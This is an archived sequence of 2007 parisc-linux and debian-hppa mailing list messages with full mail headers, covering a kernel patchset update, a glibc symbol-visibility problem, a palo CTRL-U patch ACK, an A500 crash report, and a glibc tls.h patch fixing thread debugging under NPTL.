List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5oiyD6RvQEVtMujDZnVpJrBKNzg2NUJT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24701

http://ftp.kernel.org/pub/linux/kernel/people/kyle/parisc/2.6.22-rc6/v2.6.22-rc6-pa1.diff.bz2

added:
+parisc/add-empty-asm-parisc-vga-h.patch
+parisc/add-dummy-isa_foo_to_bar.patch
+parisc/clean-up-sti_flush.patch
+parisc/do-not-allow-STI_CONSOLE-to-be-modular.patch

merged:
-parisc/led-lcd-no-space-removal.patch
-parisc/mmap-handle-expand_upwards-wrap.patch
-parisc/fix-64bit-unwinding.patch
-parisc/unwinder-improvements.patch
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Sun, 08 Jul 2007 14:44:18 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <4690DC22.1070307__24108.4212706939$1416624408$gmane$org@aurel32.net>
References: <200707051728.l65HSg7S008597@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416624408 24696 80.91.229.3 (22 Nov 2014 02:46:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:48 +0000 (UTC)
Cc: jbailey@raspberryginger.com,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2007 12:44:46 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx063) with SMTP; 08 Jul 2007 14:44:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 3AA172E75E; Sun,  8 Jul 2007 12:45:33 +0000 (UTC)
Old-Return-Path: <aurelien@aurel32.net>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-4.3 required=4.0 tests=LDOSUBSCRIBER,
	MAILTO_TO_SPAM_ADDR autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hall.aurel32.net (hall.aurel32.net [88.191.38.19])
	by murphy.debian.org (Postfix) with ESMTP id 536802E00A
	for <debian-hppa@lists.debian.org>; Sun,  8 Jul 2007 12:45:27 +0000 (UTC)
Original-Received: from volta.aurel32.net ([2001:618:400:fc13:216:d3ff:fe17:fd00])
	by hall.aurel32.net with esmtpsa (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63)
	(envelope-from <aurelien@aurel32.net>)
	id 1I7W7t-0002fv-Hi; Sun, 08 Jul 2007 14:44:34 +0200
Original-Received: from localhost.localdomain ([127.0.0.1] ident=aurel32)
	by volta.aurel32.net with esmtp (Exim 4.67)
	(envelope-from <aurelien@aurel32.net>)
	id 1I7W7e-00055j-J3; Sun, 08 Jul 2007 14:44:18 +0200
User-Agent: IceDove 1.5.0.10 (X11/20070328)
In-Reply-To: <200707051728.l65HSg7S008597@hiauly1.hia.nrc.ca>
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <cBHGEB.A.Rt.txNkGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5848
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun,  8 Jul 2007 12:45:33 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: BuulcshVTiEscKyUaGRwVnl1ZUVSRNc1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24702

John David Anglin a crit :
>> On the other hand, the LinuxThreads build on other architectures are
>> still fine even with the latest gcc in Debian.
> 
> Is the __librt_multiple_threads symbol defined, undefined or not
> used in librt.so?
> 

On both hppa and m68k I get:
00000000      DO *UND*  00000004  GLIBC_PRIVATE __librt_multiple_threads

On hurd-i386, kfreebsd-i386 and kfreebsd-amd64, __librt_multiple_threads
is not present in librt.so

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc is broken because of gcc
Date: Sun, 8 Jul 2007 11:04:07 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <200707081504.l68F47s9007180__49138.3553519428$1416624409$gmane$org@hiauly1.hia.nrc.ca>
References: <4690DC22.1070307@aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624409 24698 80.91.229.3 (22 Nov 2014 02:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:49 +0000 (UTC)
Cc: jbailey@raspberryginger.com,
 debian-hppa@lists.debian.org,
 parisc-linux@lists.parisc-linux.org
To: aurelien@aurel32.net (Aurelien Jarno)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Jul 2007 15:26:45 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx019) with SMTP; 08 Jul 2007 17:26:45 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 32EA32E4F8; Sun,  8 Jul 2007 15:27:30 +0000 (UTC)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Spam-Checker-Version: SpamAssassin 3.1.4 (2006-07-26) on murphy.debian.org
X-Spam-Status: No, score=-0.4 required=4.0 tests=AWL,UNPARSEABLE_RELAY 
	autolearn=no version=3.1.4
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 9BF7C2E4FE
	for <debian-hppa@lists.debian.org>; Sun,  8 Jul 2007 15:04:58 +0000 (UTC)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l68F48E4007181;
	Sun, 8 Jul 2007 11:04:08 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l68F47s9007180;
	Sun, 8 Jul 2007 11:04:07 -0400 (EDT)
In-Reply-To: <4690DC22.1070307@aurel32.net> from "Aurelien Jarno" at Jul 8, 2007 02:44:18 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2007-05-24_01
X-Rc-Virus: 2006-10-25_01
X-Rc-Spam: 2007-05-24_01
Resent-Message-ID: <zKwBn.A.WDC.iJQkGB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5849
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Sun,  8 Jul 2007 15:27:30 +0000 (UTC)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: DDqnD/dVQEVtMujDZnVpG9ZKNzg2NUJa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24703

> >> On the other hand, the LinuxThreads build on other architectures are
> >> still fine even with the latest gcc in Debian.
> > 
> > Is the __librt_multiple_threads symbol defined, undefined or not
> > used in librt.so?
> > 
> 
> On both hppa and m68k I get:
> 00000000      DO *UND*  00000004  GLIBC_PRIVATE __librt_multiple_threads

So, it would seem m68k is also broken if the definition
in libc-2.5.so is hidden.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [palo patch] Implement CTRL-U functionality
Date: Mon, 9 Jul 2007 06:09:53 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20070709100953.GA18383__20718.4264123955$1416624409$gmane$org@fattire.cabal.ca>
References: <468ED3C5.8040104@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624409 24703 80.91.229.3 (22 Nov 2014 02:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Jul 2007 10:20:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx001) with SMTP; 09 Jul 2007 12:20:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 711017DDA2;
	Mon,  9 Jul 2007 04:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13437-06; Mon, 9 Jul 2007 04:20:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D4E37DDAB;
	Mon,  9 Jul 2007 04:20:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D5787DDA0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jul 2007 04:20:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13437-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Jul 2007 04:20:37 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 3B4F77DD93
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jul 2007 04:20:37 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 3FAB75840A0;
	Mon,  9 Jul 2007 06:20:36 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C4A42584099;
	Mon,  9 Jul 2007 06:20:35 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 5C52A23E06; Mon,  9 Jul 2007 06:09:53 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <468ED3C5.8040104@tausq.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ODuhcjEMf2I+KoicY2xo3z5wdWxlc1bS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24704

On Fri, Jul 06, 2007 at 04:44:05PM -0700, Randolph Chung wrote:
> I keep on meaning to do this, and have finally done it.....
> 
> The attached patch makes the palo "editor" understand CTRL-U, so that 
> you can quickly clear out a particular command line parameter.
> 
> Any comments? If not I will commit this in a few days, and hope that the 
> Debian/Ubuntu/Gentoo folks eventually pick it up :)
> 

ACK.

Will upload to Debian after you commit it. (Or, I suppose, you could
upload to Debian and add yourself to Uploaders if you wanted.)

Cheers,
	Kyle
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Crashed on 2.6.22-rc7, Linus' tree
Date: Thu, 12 Jul 2007 10:03:16 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <5b2e36650707120703u4bbf7c32r644dab39a67c75a9__46051.1095625863$1416624409$gmane$org@mail.gmail.com>
References: <5b2e36650707100601s50fc0c62k551d387bd755b3cd@mail.gmail.com>
	<1184087573.3401.45.camel@localhost.localdomain>
	<119aab440707120627p65d4a7a7v9cda67fdc406a9a1@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624409 24707 80.91.229.3 (22 Nov 2014 02:46:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:49 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Jul 2007 16:54:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 12 Jul 2007 18:54:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0BA327DC22;
	Thu, 12 Jul 2007 10:54:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14318-10; Thu, 12 Jul 2007 10:54:34 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4516D7DC26;
	Thu, 12 Jul 2007 10:54:32 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B0327DC22
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 10:54:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14318-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 10:54:17 -0600 (MDT)
Original-Received: from nz-out-0506.google.com (nz-out-0506.google.com [64.233.162.234])
	by free.linux.hp.com (Postfix) with ESMTP id 468837DC18
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 10:54:17 -0600 (MDT)
Original-Received: by nz-out-0506.google.com with SMTP id j2so189156nzf
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 09:54:16 -0700 (PDT)
Original-Received: by 10.114.93.17 with SMTP id q17mr608579wab.1184248996200;
	Thu, 12 Jul 2007 07:03:16 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Thu, 12 Jul 2007 07:03:16 -0700 (PDT)
In-Reply-To: <119aab440707120627p65d4a7a7v9cda67fdc406a9a1@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6GujcipBTiEscKyUaGRw/jB1ZUVSRFcV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24705

On 12/07/07, Carlos O'Donell <carlos@systemhalted.org> wrote:
> On 7/10/07, James Bottomley <James.Bottomley@steeleye.com> wrote:
> > On Tue, 2007-07-10 at 09:01 -0400, Jeff Bailey wrote:
> > > Heya!  I'm running 2.6.22-rc7 from Linus' tree, and I occasionally get
> > > the system dying like this.  I'm mostly surprised by the complete lack
> > > of information in the crash, is there anything I can do to ask it to
> > > give more when it dies?
> >
> > A register dump with IAOQ and %r2 decoded to the kernel addresses might
> > (or might not) be helpful.  Given that the interrupt seems to be
> > advisory (not a machine check) you might have to TOC the box to get
> > this.  Although, unfortunately, I've seen this several times as the
> > symptom of A500 flakey HW.
>
> Right, I saw this failure just before the main board on my A500 died.

Thanks.  I'll try Grant's test, but I'll get my data off that box.
*pout*  Anyway of adding a GSP to a J6700?  I've been using the a500
to make remote rebooting not suck.

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix debugging interface for nptl
Date: Fri, 13 Jul 2007 01:33:56 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <20070713013356.GD16077__1432.00616953454$1416624410$gmane$org@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="CUfgB8w4ZwR/yMy5"
X-Trace: ger.gmane.org 1416624410 24711 80.91.229.3 (22 Nov 2014 02:46:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 libc-ports@sourceware.org
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Jul 2007 01:34:12 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx059) with SMTP; 13 Jul 2007 03:34:12 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0C8B67DCC5;
	Thu, 12 Jul 2007 19:34:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17718-02; Thu, 12 Jul 2007 19:34:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DE7E97DCCE;
	Thu, 12 Jul 2007 19:34:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 651EA7DCC4
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 19:34:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15850-09 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 19:33:58 -0600 (MDT)
Original-Received: from arwen.tausq.org (unknown [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id B04807DCC2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Jul 2007 19:33:58 -0600 (MDT)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id 3B81243879; Thu, 12 Jul 2007 18:33:57 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oeSvfn9TYW0/ZLuGbmZpLuF0amthc5v0
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24706


--CUfgB8w4ZwR/yMy5
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Jeff mentioned recently that with a NPTL-enabled glibc, gdb debugging of
any threaded app fails. For example:

(gdb) run
Starting program: /home/tausq/userspace/thread_test2
[Thread debugging using libthread_db enabled]
Error while reading shared library symbols:
find_new_threads_callback: cannot get thread info: generic error

Two fixes, one in glibc and one in gdb, are required to fix this. The
attached patch is the glibc portion.

2007-07-12  Randolph Chung  <tausq@debian.org>

	* sysdeps/hppa/nptl/tls.h (DB_THREAD_SELF): Fix definition.

Please apply if ok.

randolph

--CUfgB8w4ZwR/yMy5
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="local-threaddb.diff"

Fix the register offset for libthread_db to do THREAD_SELF properly.

--- ports/sysdeps/hppa/nptl/tls.h.orig	2007-07-11 22:57:36.000000000 +0000
+++ ports/sysdeps/hppa/nptl/tls.h	2007-07-11 22:57:50.000000000 +0000
@@ -117,10 +117,11 @@
    	__self - 1;				\
    })
 
-/* FIXME */
-/* Magic for libthread_db to know how to do THREAD_SELF.  */
+/* Magic for libthread_db to know how to do THREAD_SELF.
+   Our thread pointer is stored in cr27.  See asm/elf.h for the offset into
+   elf_gregset_t.  The thread descriptor is sizeof (struct pthread) away.  */
 # define DB_THREAD_SELF \
-  REGISTER (32, 32, 32 * 4, -sizeof (struct pthread))
+  REGISTER (32, 32, 53 * 4, -sizeof (struct pthread))
 
 /* Access to data in the thread descriptor is easy.  */
